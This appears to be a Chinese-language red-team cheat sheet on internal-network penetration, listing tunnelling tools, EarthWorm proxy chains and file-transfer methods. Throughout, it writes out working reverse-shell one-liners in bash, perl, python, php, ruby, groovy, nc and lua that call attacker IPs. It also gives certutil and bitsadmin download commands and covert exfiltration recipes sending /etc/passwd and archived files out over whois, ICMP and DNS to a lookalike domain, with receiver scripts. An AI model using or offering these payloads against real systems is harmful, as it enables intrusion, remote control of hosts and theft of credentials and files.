与内网渗透系列:内网穿透(隧道)学习可以互相补充
netcat瑞士军刀 参见Kali linux 学习笔记(四)基本工具熟悉——nc(netcat) 2020.2.14 powershell版:https://github.com/besimorhino/powercat
Go版:https://github.com/cw1997/NATBypass C版:https://github.com/windworst/LCX C++版:https://github.com/UndefinedIdentifier/LCX
github:https://github.com/ehang-io/nps
支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等
github:https://github.com/fatedier/frp
用Go写的,支持TCP和UDP,以及HTTP和HTTPS协议,同时也支持P2P,仍在持续更新
官网:http://rootkiter.com/EarthWorm/ github:https://github.com/rootkiter/Binary-files 下载:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
十分方便的多级SOCKS代理,已经永久停止更新,五种管道:
./ew -s ssocksd -l 1080
先在一台具有公网 ip 的主机A上运行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
“三级级联”的本地SOCKS测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
官网:http://rootkiter.com/Termite/ github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e 使用说明:https://rootkiter.com/Termite/README.txt
EarthWorm的升级版,已经永久停止更新
github:https://github.com/sensepost/reGeorg
SOCKS over HTTP,即通过HTTP隧道转发SOCKS,用Python写的,基于Python2.7和urllib3,上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道
github:https://github.com/L-codes/Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
根据作者说法:
github:https://github.com/FunnyWolf/pystinger
仍在更新,通过webshell实现内网SOCK4代理,端口映射 可直接用于metasploit-framework,viper,cobalt strike上线 主体使用python开发,当前支持php,jsp(x),aspx三种代理脚本
github:https://github.com/nccgroup/ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
#使用-e
nc -e /bin/sh 223.8.200.234 1234
#不使用-e
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
wput dir_name ftp://linuxpig:123456@host.com/
wget http://site.com/1.rar -O 1.rar
aria2c -o owncloud.zip https://download.owncloud.org/community/owncloud-9.0.0.tar.bz2
Set args = Wscript.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
执行 :cscript test.vbs
#!/usr/bin/perl
use LWP::Simple;
getstore("http://domain/file", "file");
执行:perl test.pl
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://domain/file')
localFile = open('local_file', 'w')
localFile.write(u.read())
localFile.close()
执行:python test.py
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}
执行:ruby test.rb
<?php
$url = 'http://www.example.com/file';
$path = '/path/to/file';
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
file_put_contents($path, $data);
?>
执行:php test.php
attacker
cat file | nc -l 1234
target
nc host_ip 1234 > file
ftp 127.0.0.1 username password get file exit
tftp -i host GET C:%homepath%file location_of_file_on_tftp_server
bitsadmin /transfer n http://domain/file c:%homepath%file
net use x: \127.0.0.1\share /user:example.comuserID myPassword
本地到远程
scp file user@host.com:/tmp
远程到本地
scp user@host.com:/tmp file
远程rsync服务器中拷贝文件到本地机
rsync -av root@192.168.78.192::www /databack
本地机器拷贝文件到远程rsync服务器
rsync -av /databack root@192.168.78.192::www
certutil.exe -urlcache -split -f http://site.com/file
copy \\IP\ShareName\file.exe file.exe
接收端 Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d
发送端 Host A:
whois -h host_ip -p 1337 `cat /etc/passwd | base64`
First:
ncat -k -l -p 4444 | tee files.b64 #tee to a file so you can make sure you have it
Next
tar czf - /tmp/* | base64 | xargs -I bits timeout 0.03 whois -h host_ip -p 4444 bits
Finally
cat files.b64 | tr -d '\r\n' | base64 -d | tar zxv #to get the files out
发送端:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done
接收端 ping_receiver.py:
import sys
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
sys.exit(0)
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 8:
data = pkt[ICMP].load[-4:]
print(f'{data.decode("utf-8")}', flush=True, end="", sep="")
sniff(iface="eth0", prn=process_packet)
python3 ping_receiver.py
发送端:
xxd -p -c 31 /etc/passwd | while read line; do dig @172.16.1.100 +short +tries=1 +time=1 $line.gooogle.com; done
接收端dns_reciver.py:
try:
from scapy.all import *
except:
print("Scapy not found, please install scapy: pip install scapy")
def process_packet(pkt):
if pkt.haslayer(DNS):
domain = pkt[DNS][DNSQR].qname.decode('utf-8')
root_domain = domain.split('.')[1]
if root_domain.startswith('gooogle'):
print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')
sniff(iface="eth0", prn=process_packet)
python3 dns_reciver.py
python2
python -m SimpleHTTPServer 1337
python3
python -m http.server 1337
PHP 5.4+
php -S 0.0.0.0:1337
ruby
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'ruby -run -e httpd . -p 1337
Perl
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'
busybox httpd
busybox httpd -f -p 8000
见识了好些内网跨边界方法,回头细学下
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有